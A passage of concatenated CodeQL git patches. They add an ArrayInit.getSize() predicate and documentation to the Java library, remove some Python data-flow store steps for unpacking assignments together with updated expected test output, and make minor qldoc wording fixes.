purpose of the query. The metadata is included as the content of a valid [QLDoc](https://codeql.github.com/docs/ql-language-reference/ql-language-specification/#qldoc) comment, on lines with leading whitespace followed by `*`, between an initial `/**` and a trailing `*/`. For example: ``` /** From 703336a77fc5b639c2cf11d5c8416de737b27f5f Mon Sep 17 00:00:00 2001 From: Marcono1234 <Marcono1234@users.noreply.github.com> Date: Mon, 18 Jan 2021 16:44:53 +0100 Subject: [PATCH 0677/1241] Add ArrayInit.getSize(), improve documentation --- java/ql/src/semmle/code/java/Expr.qll | 22 +++++++++++++++++++--- 1 file changed, 19 insertions(+), 3 deletions(-) diff --git a/java/ql/src/semmle/code/java/Expr.qll b/java/ql/src/semmle/code/java/Expr.qll index 50f4a210d60..730c8c6c354 100755 --- a/java/ql/src/semmle/code/java/Expr.qll +++ b/java/ql/src/semmle/code/java/Expr.qll @@ -438,7 +438,7 @@ class ArrayCreationExpr extends Expr, @arraycreationexpr { result.getIndex() = index } - /** Gets the initializer of this array creation expression. */ + /** Gets the initializer of this array creation expression, if any. */ ArrayInit getInit() { result.isNthChildOf(this, -2) } /** @@ -446,7 +446,7 @@ class ArrayCreationExpr extends Expr, @arraycreationexpr { */ int getFirstDimensionSize() { if exists(getInit()) - then result = count(getInit().getAnInit()) + then result = getInit().getSize() else result = getDimension(0).(CompileTimeConstantExpr).getIntValue() } @@ -456,7 +456,17 @@ class ArrayCreationExpr extends Expr, @arraycreationexpr { override string getAPrimaryQlClass() { result = "ArrayCreationExpr" } } -/** An array initializer occurs in an array creation expression. */ +/** + * An array initializer consisting of an opening and closing curly bracket and + * optionally containing expressions (which themselves can be array initializers) + * representing the elements of the array. For example: `{ 'a', 'b' }`. + * + * This expression type matches array initializers representing the values for + * annotation elements as well, despite the Java Language Specification considering + * them a separate type, *ElementValueArrayInitializer*. It does however not match + * values for an array annotation element which consist of a single element + * without enclosing curly brackets (as per JLS). + */ class ArrayInit extends Expr, @arrayinit { /** * An expression occurring in this initializer. @@ -469,6 +479,12 @@ class ArrayInit extends Expr, @arrayinit { /** Gets the initializer occurring at the specified (zero-based) position. */ Expr getInit(int index) { result = this.getAnInit() and result.getIndex() = index } + /** + * Gets the number of expressions in this initializer, i.e. the size the + * created array will have. + */ + int getSize() { result = count(getAnInit()) } + /** Gets a printable representation of this expression. */ override string toString() { result = "{...}" } From bd3de23c6ed8fb926999a5cc5a6ea714191a50fe Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Tue, 19 Jan 2021 00:05:10 +0100 Subject: [PATCH 0678/1241] Python: Remove some unhelpful store steps --- .../dataflow/new/internal/DataFlowPrivate.qll | 2 + .../dataflow/coverage/dataflow.expected | 63 ------------------- 2 files changed, 2 insertions(+), 63 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 28d860eac12..b7c38fdd605 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -879,6 +879,7 @@ predicate listStoreStep(CfgNode nodeFrom, ListElementContent c, CfgNode nodeTo) // nodeTo is the list, `[..., 42, ...]`, cfg node // c denotes element of list nodeTo.getNode().(ListNode).getAnElement() = nodeFrom.getNode() and + not nodeTo.getNode() instanceof UnpackingAssignmentSequenceTarget and // Suppress unused variable warning c = c } @@ -904,6 +905,7 @@ predicate tupleStoreStep(CfgNode nodeFrom, TupleElementContent c, CfgNode nodeTo // c denotes element of tuple and index of nodeFrom exists(int n | nodeTo.getNode().(TupleNode).getElement(n) = nodeFrom.getNode() and + not nodeTo.getNode() instanceof UnpackingAssignmentSequenceTarget and c.getIndex() = n ) } diff --git a/python/ql/test/experimental/dataflow/coverage/dataflow.expected b/python/ql/test/experimental/dataflow/coverage/dataflow.expected index 47b2c0a402a..155308150f5 100644 --- a/python/ql/test/experimental/dataflow/coverage/dataflow.expected +++ b/python/ql/test/experimental/dataflow/coverage/dataflow.expected @@ -204,7 +204,6 @@ edges | test.py:536:5:536:5 | SSA variable a | test.py:537:10:537:10 | ControlFlowNode for a | | test.py:536:5:536:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:536:5:536:5 | SSA variable a | | test.py:536:5:536:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | test.py:536:9:536:12 | IterableSequence [Tuple element at index 1] | -| test.py:536:9:536:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:536:5:536:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | | test.py:536:9:536:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:536:12:536:12 | SSA variable c | | test.py:536:9:536:12 | IterableSequence [Tuple element at index 1] | test.py:536:9:536:12 | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:536:12:536:12 | SSA variable c | test.py:539:10:539:10 | ControlFlowNode for c | @@ -213,7 +212,6 @@ edges | test.py:544:11:544:20 | ControlFlowNode for List [List element, List element] | test.py:544:10:544:21 | ControlFlowNode for List [List element, List element, List element] | | test.py:544:12:544:19 | ControlFlowNode for List [List element] | test.py:544:11:544:20 | ControlFlowNode for List [List element, List element] | | test.py:544:13:544:18 | ControlFlowNode for SOURCE | test.py:544:12:544:19 | ControlFlowNode for List [List element] | -| test.py:545:5:545:11 | ControlFlowNode for List [List element, List element, List element] | test.py:545:5:545:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | | test.py:545:5:545:11 | ControlFlowNode for List [List element, List element, List element] | test.py:545:6:545:10 | IterableSequence [List element, List element] | | test.py:545:5:545:11 | IterableElement [List element, List element] | test.py:545:5:545:11 | ControlFlowNode for List [List element, List element, List element] | | test.py:545:5:545:11 | IterableSequence [List element, List element, List element] | test.py:545:5:545:11 | ControlFlowNode for List [List element, List element, List element] | @@ -221,12 +219,10 @@ edges | test.py:545:5:545:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | test.py:545:5:545:11 | IterableSequence [List element, List element, List element] | | test.py:545:5:545:14 | IterableElement [List element, List element, List element] | test.py:545:5:545:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | | test.py:545:5:545:14 | IterableSequence [List element, List element, List element, List element] | test.py:545:5:545:14 | IterableElement [List element, List element, List element] | -| test.py:545:6:545:10 | ControlFlowNode for List [List element, List element] | test.py:545:5:545:11 | ControlFlowNode for List [List element, List element, List element] | | test.py:545:6:545:10 | ControlFlowNode for List [List element, List element] | test.py:545:7:545:9 | IterableSequence [List element] | | test.py:545:6:545:10 | IterableElement [List element] | test.py:545:6:545:10 | ControlFlowNode for List [List element, List element] | | test.py:545:6:545:10 | IterableSequence [List element, List element] | test.py:545:6:545:10 | ControlFlowNode for List [List element, List element] | | test.py:545:6:545:10 | IterableSequence [List element, List element] | test.py:545:6:545:10 | IterableElement [List element] | -| test.py:545:7:545:9 | ControlFlowNode for List [List element] | test.py:545:6:545:10 | ControlFlowNode for List [List element, List element] | | test.py:545:7:545:9 | ControlFlowNode for List [List element] | test.py:545:8:545:8 | SSA variable a | | test.py:545:7:545:9 | IterableElement | test.py:545:7:545:9 | ControlFlowNode for List [List element] | | test.py:545:7:545:9 | IterableSequence [List element] | test.py:545:7:545:9 | ControlFlowNode for List [List element] | @@ -257,54 +253,31 @@ edges | test.py:562:40:562:47 | ControlFlowNode for List [List element] | test.py:562:10:562:61 | ControlFlowNode for List [List element, List element] | | test.py:562:41:562:46 | ControlFlowNode for SOURCE | test.py:562:40:562:47 | ControlFlowNode for List [List element] | | test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:565:7:565:16 | IterableSequence [List element] | -| test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:565:7:565:16 | IterableSequence [Tuple element at index 0] | -| test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | test.py:565:7:565:16 | IterableSequence [Tuple element at index 1] | -| test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:565:7:565:16 | IterableSequence [Tuple element at index 2] | | test.py:565:6:565:23 | IterableElement [List element] | test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | | test.py:565:6:565:23 | IterableSequence [List element, List element] | test.py:565:6:565:23 | IterableElement [List element] | | test.py:565:7:565:8 | SSA variable a1 | test.py:566:10:566:11 | ControlFlowNode for a1 | -| test.py:565:7:565:16 | ControlFlowNode for Tuple [List element] | test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:565:7:565:8 | SSA variable a1 | -| test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:565:11:565:12 | SSA variable a2 | -| test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:565:15:565:16 | SSA variable a3 | | test.py:565:7:565:16 | IterableElement | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:565:7:565:16 | IterableElement | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:565:7:565:16 | IterableElement | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:565:7:565:16 | IterableSequence [List element] | test.py:565:7:565:16 | ControlFlowNode for Tuple [List element] | | test.py:565:7:565:16 | IterableSequence [List element] | test.py:565:7:565:16 | IterableElement | -| test.py:565:7:565:16 | IterableSequence [Tuple element at index 0] | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:565:7:565:16 | IterableSequence [Tuple element at index 1] | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:565:7:565:16 | IterableSequence [Tuple element at index 2] | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 2] | | test.py:565:11:565:12 | SSA variable a2 | test.py:567:12:567:13 | ControlFlowNode for a2 | | test.py:565:15:565:16 | SSA variable a3 | test.py:568:10:568:11 | ControlFlowNode for a3 | | test.py:573:5:573:24 | ControlFlowNode for List [List element, List element] | test.py:573:7:573:16 | IterableSequence [List element] | -| test.py:573:5:573:24 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:573:7:573:16 | IterableSequence [Tuple element at index 0] | -| test.py:573:5:573:24 | ControlFlowNode for List [List element, Tuple element at index 1] | test.py:573:7:573:16 | IterableSequence [Tuple element at index 1] | -| test.py:573:5:573:24 | ControlFlowNode for List [List element, Tuple element at index 2] | test.py:573:7:573:16 | IterableSequence [Tuple element at index 2] | | test.py:573:5:573:24 | IterableElement [List element] | test.py:573:5:573:24 | ControlFlowNode for List [List element, List element] | | test.py:573:5:573:24 | IterableSequence [List element, List element] | test.py:573:5:573:24 | IterableElement [List element] | | test.py:573:7:573:8 | SSA variable a1 | test.py:574:10:574:11 | ControlFlowNode for a1 | -| test.py:573:7:573:16 | ControlFlowNode for Tuple [List element] | test.py:573:5:573:24 | ControlFlowNode for List [List element, List element] | -| test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:573:5:573:24 | ControlFlowNode for List [List element, Tuple element at index 0] | | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:573:7:573:8 | SSA variable a1 | -| test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:573:5:573:24 | ControlFlowNode for List [List element, Tuple element at index 1] | | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:573:11:573:12 | SSA variable a2 | -| test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:573:5:573:24 | ControlFlowNode for List [List element, Tuple element at index 2] | | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:573:15:573:16 | SSA variable a3 | | test.py:573:7:573:16 | IterableElement | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:573:7:573:16 | IterableElement | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:573:7:573:16 | IterableElement | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:573:7:573:16 | IterableSequence [List element] | test.py:573:7:573:16 | ControlFlowNode for Tuple [List element] | | test.py:573:7:573:16 | IterableSequence [List element] | test.py:573:7:573:16 | IterableElement | -| test.py:573:7:573:16 | IterableSequence [Tuple element at index 0] | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:573:7:573:16 | IterableSequence [Tuple element at index 1] | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:573:7:573:16 | IterableSequence [Tuple element at index 2] | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 2] | | test.py:573:11:573:12 | SSA variable a2 | test.py:575:12:575:13 | ControlFlowNode for a2 | | test.py:573:15:573:16 | SSA variable a3 | test.py:576:10:576:11 | ControlFlowNode for a3 | -| test.py:581:6:581:17 | ControlFlowNode for List [List element] | test.py:581:6:581:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | | test.py:581:6:581:17 | ControlFlowNode for List [List element] | test.py:581:7:581:8 | SSA variable a1 | | test.py:581:6:581:17 | ControlFlowNode for List [List element] | test.py:581:11:581:12 | SSA variable a2 | | test.py:581:6:581:17 | ControlFlowNode for List [List element] | test.py:581:15:581:16 | SSA variable a3 | @@ -328,18 +301,12 @@ edges | test.py:590:12:590:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | | test.py:590:12:590:36 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | | test.py:590:31:590:36 | ControlFlowNode for SOURCE | test.py:590:12:590:36 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:593:5:593:19 | ControlFlowNode for List [List element, List element] | test.py:593:6:593:14 | IterableSequence [List element] | | test.py:593:5:593:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:593:6:593:14 | IterableSequence [Tuple element at index 0] | | test.py:593:5:593:19 | IterableElement [Tuple element at index 0] | test.py:593:5:593:19 | ControlFlowNode for List [List element, Tuple element at index 0] | | test.py:593:5:593:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | test.py:593:5:593:19 | IterableElement [Tuple element at index 0] | -| test.py:593:6:593:14 | ControlFlowNode for List [List element] | test.py:593:5:593:19 | ControlFlowNode for List [List element, List element] | | test.py:593:6:593:14 | ControlFlowNode for List [List element] | test.py:593:7:593:8 | SSA variable a1 | | test.py:593:6:593:14 | ControlFlowNode for List [List element] | test.py:593:11:593:13 | IterableElement | -| test.py:593:6:593:14 | ControlFlowNode for List [Tuple element at index 0] | test.py:593:5:593:19 | ControlFlowNode for List [List element, Tuple element at index 0] | | test.py:593:6:593:14 | IterableElement | test.py:593:6:593:14 | ControlFlowNode for List [List element] | -| test.py:593:6:593:14 | IterableSequence [List element] | test.py:593:6:593:14 | ControlFlowNode for List [List element] | -| test.py:593:6:593:14 | IterableSequence [List element] | test.py:593:6:593:14 | IterableElement | -| test.py:593:6:593:14 | IterableSequence [Tuple element at index 0] | test.py:593:6:593:14 | ControlFlowNode for List [Tuple element at index 0] | | test.py:593:6:593:14 | IterableSequence [Tuple element at index 0] | test.py:593:6:593:14 | IterableElement | | test.py:593:7:593:8 | SSA variable a1 | test.py:594:10:594:11 | ControlFlowNode for a1 | | test.py:593:11:593:13 | IterableElement | test.py:593:11:593:13 | SSA variable a2 [List element] | @@ -350,10 +317,8 @@ edges | test.py:602:6:602:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:602:7:602:13 | IterableSequence [Tuple element at index 0] | | test.py:602:6:602:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:602:7:602:13 | IterableSequence [Tuple element at index 2] | | test.py:602:7:602:8 | SSA variable a1 | test.py:603:10:603:11 | ControlFlowNode for a1 | -| test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:602:6:602:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | | test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:602:7:602:8 | SSA variable a1 | | test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:602:11:602:13 | IterableElement | -| test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:602:6:602:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | | test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:602:11:602:13 | IterableElement | | test.py:602:7:602:13 | IterableSequence [Tuple element at index 0] | test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:602:7:602:13 | IterableSequence [Tuple element at index 2] | test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 2] | @@ -369,10 +334,8 @@ edges | test.py:611:5:611:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | test.py:611:5:611:19 | IterableElement [Tuple element at index 0] | | test.py:611:5:611:19 | IterableSequence [Tuple element at index 0, Tuple element at index 2] | test.py:611:5:611:19 | IterableElement [Tuple element at index 2] | | test.py:611:7:611:8 | SSA variable a1 | test.py:612:10:612:11 | ControlFlowNode for a1 | -| test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:611:5:611:19 | ControlFlowNode for List [List element, Tuple element at index 0] | | test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:611:7:611:8 | SSA variable a1 | | test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:611:11:611:13 | IterableElement | -| test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:611:5:611:19 | ControlFlowNode for List [List element, Tuple element at index 2] | | test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:611:11:611:13 | IterableElement | | test.py:611:7:611:13 | IterableSequence [Tuple element at index 0] | test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:611:7:611:13 | IterableSequence [Tuple element at index 2] | test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 2] | @@ -381,16 +344,10 @@ edges | test.py:611:11:611:13 | SSA variable a2 [List element] | test.py:615:10:615:11 | ControlFlowNode for a2 [List element] | | test.py:614:12:614:13 | ControlFlowNode for a2 [List element] | test.py:614:12:614:16 | ControlFlowNode for Subscript | | test.py:615:10:615:11 | ControlFlowNode for a2 [List element] | test.py:615:10:615:14 | ControlFlowNode for Subscript | -| test.py:620:6:620:14 | ControlFlowNode for List [List element] | test.py:620:6:620:18 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | | test.py:620:6:620:14 | ControlFlowNode for List [List element] | test.py:620:7:620:8 | SSA variable a1 | | test.py:620:6:620:14 | ControlFlowNode for List [List element] | test.py:620:11:620:13 | IterableElement | -| test.py:620:6:620:14 | ControlFlowNode for List [Tuple element at index 0] | test.py:620:6:620:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | | test.py:620:6:620:14 | IterableElement | test.py:620:6:620:14 | ControlFlowNode for List [List element] | -| test.py:620:6:620:14 | IterableSequence [List element] | test.py:620:6:620:14 | ControlFlowNode for List [List element] | -| test.py:620:6:620:14 | IterableSequence [List element] | test.py:620:6:620:14 | IterableElement | -| test.py:620:6:620:14 | IterableSequence [Tuple element at index 0] | test.py:620:6:620:14 | ControlFlowNode for List [Tuple element at index 0] | | test.py:620:6:620:14 | IterableSequence [Tuple element at index 0] | test.py:620:6:620:14 | IterableElement | -| test.py:620:6:620:18 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:620:6:620:14 | IterableSequence [List element] | | test.py:620:6:620:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:620:6:620:14 | IterableSequence [Tuple element at index 0] | | test.py:620:7:620:8 | SSA variable a1 | test.py:621:10:621:11 | ControlFlowNode for a1 | | test.py:620:11:620:13 | IterableElement | test.py:620:11:620:13 | SSA variable a2 [List element] | @@ -631,42 +588,28 @@ nodes | test.py:562:40:562:47 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | | test.py:562:41:562:46 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | -| test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | | test.py:565:6:565:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | | test.py:565:6:565:23 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | | test.py:565:7:565:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:565:7:565:16 | ControlFlowNode for Tuple [List element] | semmle.label | ControlFlowNode for Tuple [List element] | | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | | test.py:565:7:565:16 | IterableElement | semmle.label | IterableElement | | test.py:565:7:565:16 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | -| test.py:565:7:565:16 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | -| test.py:565:7:565:16 | IterableSequence [Tuple element at index 1] | semmle.label | IterableSequence [Tuple element at index 1] | -| test.py:565:7:565:16 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | | test.py:565:11:565:12 | SSA variable a2 | semmle.label | SSA variable a2 | | test.py:565:15:565:16 | SSA variable a3 | semmle.label | SSA variable a3 | | test.py:566:10:566:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | | test.py:567:12:567:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | | test.py:568:10:568:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | | test.py:573:5:573:24 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | -| test.py:573:5:573:24 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:573:5:573:24 | ControlFlowNode for List [List element, Tuple element at index 1] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 1] | -| test.py:573:5:573:24 | ControlFlowNode for List [List element, Tuple element at index 2] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 2] | | test.py:573:5:573:24 | IterableElement [List element] | semmle.label | IterableElement [List element] | | test.py:573:5:573:24 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | | test.py:573:7:573:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:573:7:573:16 | ControlFlowNode for Tuple [List element] | semmle.label | ControlFlowNode for Tuple [List element] | | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | | test.py:573:7:573:16 | IterableElement | semmle.label | IterableElement | | test.py:573:7:573:16 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | -| test.py:573:7:573:16 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | -| test.py:573:7:573:16 | IterableSequence [Tuple element at index 1] | semmle.label | IterableSequence [Tuple element at index 1] | -| test.py:573:7:573:16 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | | test.py:573:11:573:12 | SSA variable a2 | semmle.label | SSA variable a2 | | test.py:573:15:573:16 | SSA variable a3 | semmle.label | SSA variable a3 | | test.py:574:10:574:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | @@ -690,14 +633,11 @@ nodes | test.py:590:12:590:36 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:590:12:590:36 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | | test.py:590:31:590:36 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:593:5:593:19 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | | test.py:593:5:593:19 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | | test.py:593:5:593:19 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | | test.py:593:5:593:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 0] | | test.py:593:6:593:14 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:593:6:593:14 | ControlFlowNode for List [Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0] | | test.py:593:6:593:14 | IterableElement | semmle.label | IterableElement | -| test.py:593:6:593:14 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | | test.py:593:6:593:14 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | | test.py:593:7:593:8 | SSA variable a1 | semmle.label | SSA variable a1 | | test.py:593:11:593:13 | IterableElement | semmle.label | IterableElement | @@ -740,11 +680,8 @@ nodes | test.py:615:10:615:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | | test.py:615:10:615:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | | test.py:620:6:620:14 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:620:6:620:14 | ControlFlowNode for List [Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0] | | test.py:620:6:620:14 | IterableElement | semmle.label | IterableElement | -| test.py:620:6:620:14 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | | test.py:620:6:620:14 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | -| test.py:620:6:620:18 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | | test.py:620:6:620:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | | test.py:620:7:620:8 | SSA variable a1 | semmle.label | SSA variable a1 | | test.py:620:11:620:13 | IterableElement | semmle.label | IterableElement | From dde8d320f364aab86993b3b6c51ebe307b1b463f Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen <aschackmull@users.noreply.github.com> Date: Tue, 19 Jan 2021 08:24:24 +0100 Subject: [PATCH 0679/1241] Apply suggestions from code review Minor qldoc fixes. --- java/ql/src/semmle/code/java/Expr.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/java/ql/src/semmle/code/java/Expr.qll b/java/ql/src/semmle/code/java/Expr.qll index 730c8c6c354..aef353088be 100755 --- a/java/ql/src/semmle/code/java/Expr.qll +++ b/java/ql/src/semmle/code/java/Expr.qll @@ -463,7 +463,7 @@ class ArrayCreationExpr extends Expr, @arraycreationexpr { * * This expression type matches array initializers representing the values for * annotation elements as well, despite the Java Language Specification considering - * them a separate type, *ElementValueArrayInitializer*. It does however not match + * them a separate type, `ElementValueArrayInitializer`. It does however not match * values for an array annotation element which consist of a single element * without enclosing curly brackets (as per JLS). */ @@ -480,7 +480,7 @@ class ArrayInit extends Expr, @arrayinit { Expr getInit(int index) { result = this.getAnInit() and result.getIndex() = index } /** - * Gets the number of expressions in this initializer, i.e. the size the + * Gets the number of expressions in this initializer, that is, the size the * created array will have. */ int getSize() { result = 